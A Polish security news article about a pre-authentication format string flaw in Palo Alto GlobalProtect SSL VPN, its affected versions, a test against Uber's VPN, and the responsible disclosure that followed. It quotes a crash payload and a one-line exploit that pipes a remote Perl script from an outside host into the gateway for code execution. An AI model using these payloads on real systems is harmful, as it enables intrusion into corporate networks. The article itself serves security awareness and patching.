Zhakowali Ubera przez lukę w VPN-ie Palo Alto

Stara zasada inżynierów elektroników mówiła: projektuj układ elektroniczny tak, by moduł zabezpieczający nie spalił układu zabezpieczanego. Zbyt często okazywało się, że wpływ dodatkowych zabezpieczeń podstawowych funkcji (np. wzmacniacza dużych mocy) mógł zamiast ochronić spowodować jego spalenie.

Okazuje się, że współczesne architektury bezpieczeństwa systemów informatycznych również powinny uwzględniać te stare i sprawdzone zasady. Trzeba tak projektować architekturę, by dokładając kolejny element zabezpieczeń, nie narazić całego systemu na katastrofalne skutki.  Takie skutki może przynieść umieszczenie na granicy sieci (perymetrze)  urządzenia, które z jednej strony ma doskonale odizolować sieć firmową od publicznej, a z drugiej dać dostęp do sieci firmowej tym, którym to niezbędne. Myślę o serwerze realizującym SSL VPN dla firmy. Przejęcie przez atakujących takiego serwera może doprowadzić do nieuprawnionego dostępu do wszystkich zasobów wewnętrznych, a nawet do przejęcia kont wszystkich użytkowników łączących się z zewnątrz.  

Grupa badaczy rozpoczęła analizy rozwiązań SSL VPN, a pierwsze wnioski nie skłaniają do optymizmu. Podatne okazały się rozwiązania firmy Palo Alto.

Podatność

Błąd wydaje się łatwy do wykorzystania i polega na nadużyciu funkcji przetwarzającej łańcuchy formatujące (format string attack) bez konieczności uwierzytelnienia. Ta kategoria błędów nadużywana jest od roku 2000 i odkrycie jej w 2019 roku jest sporym zaskoczeniem. Usługa sslmgr to element bramki VPN, który realizuje m.in. negocjację warunków komunikacji między serwerem a klientem w połączeniu SSL VPN. Serwis ten jest eksponowany jako nginx Reverse Proxy i jest dostępny z zewnątrz poprzez odwołanie do /sslmgr.

Serwis sslmgr w trakcie przetwarzania próbuje dopasować wartość parametru  scep-profile-name  do funkcji snprintf. To w łatwy sposób (wykorzystując  znak %n) można wykorzystać do ataku typu Format String Attack i spowodować wyłączenie usługi (crash).

POST/sslmgrHTTP/1.1 
Host:global-protect 
Content-Length: 36

scep-profile-name=%n%n%n%n%n…

Warto przeanalizować  metodę weryfikacji, jaką posłużyli się badacze, by potwierdzić podatność w rzeczywistym systemie. Przekazując serwerowi żądania do przetwarzania, nie analizują odpowiedzi serwera jako takiej (bo w tym wypadku była pusta), ale analizują czas odpowiedzi serwera. Jest to forma ataku kanałem bocznym (side-channel attack).

Mogłoby się wydawać, że już samo zatrzymanie takiej usługi jest problemem dla jej użytkowników. Jednak analiza sposobu przetwarzania w procesach SSL VPN GlobalProtecta pozwoliła na przygotowanie exploita, który stanowił webshell (interfejs dla  poleceń systemowych poprzez przeglądarkę).

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

Pełen skrypt bc.pl dostępny jest na stronach WWW badaczy. W ten sposób w kilku linijkach pokazano bardzo istotną podatność klasy RCE (Remote Code Execution – zdalne wykonanie kodu).

Wszystkie wersje GlobalProtecta (GP) wydane przed lipcem 2018 (czyli ponad rok temu) są podatne na ten błąd, czyli dotyczy to wersji:

• Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
• Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
• Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

Linie GP 7.0.x oraz GP 9 nie są dotknięte tym problemem.

Badacze zgłosili swoje  odkrycie do Palo Alto Networks, jednak dowiedzieli się, że firma w ramach własnych analiz odkryła ten błąd i opublikowała poprawkę, dzięki czemu nowsze wersje Global Protect nie są już podatne. Jednak wypuszczając poprawkę, producent zrobił to bez opisania problemu szerzej i nie wskazał krytyczności tej poprawki. Można rozumieć ograniczenie ilości przekazywanych szczegółów (by utrudnić analizę atakującym), jednak swoiste „wyciszanie” i nieinformowanie o problemie może skutkować tym, iż nie każdy przyłoży się do implementacji poprawek. Co, jak się właśnie okazało, miało miejsce.

A tymczasem na świecie mamy wiele podatnych serwerów SSL VPN

Skoro Palo Alto Networks dosyć lekko podeszło do problemu, badacze postanowili zweryfikować, jak użytkownicy ich usługi zareagują na taki błąd. Z dużych firm wybrano Uber, który – jak się okazało – jest właścicielem około 22 serwerów, na których działa GlobalProtect na całym świecie (jako przykład podano vpn.awscorp.uberinternal.com). Na podstawie strony logowania potwierdzona została wersja GP (podatna na opisany atak) i przeprowadzono udany atak wykorzystania podatności serwisu, uzyskując webshella i kontrolę nad serwerem dostarczającym usługę SSL VPN dla firmy.

Uber bardzo rozsądnie podszedł do zgłoszonego problemu, traktując go jako ważną informację dla podnoszenia bezpieczeństwa firmy. Poinformował też, że VPN w usłudze AWS nie obsługiwał podstawowej infrastruktury firmy, w związku z czym wpływ na organizację i bezpieczeństwo danych nie był tak znaczący. Uber docenił jednak badaczy za odpowiedzialne zgłoszenie słabości systemu (Responsible disclosure) i wypłacił nagrodę z programu Bug Bounty.

Epilog

Badacze zapowiadają więcej rzeczowych i potwierdzonych informacji o podatnościach oraz exploity  PoC (Proof-of-Concept) słabości rozwiązań SSL VPN. Swoje odkrycia chcą prezentować na zbliżających się konferencjach BlackHat i DEFCON. Szykuje się interesujący i pracowity okres dla firm produkujących kluczowe rozwiązania bezpieczeństwa.

Historia ta pokazuje, jak ważne jest aktualizowanie wszystkich komponentów swoich rozwiązań IT. Obecnie nie istnieją poprawki nieznaczące – każda może naprawiać krytyczny błąd.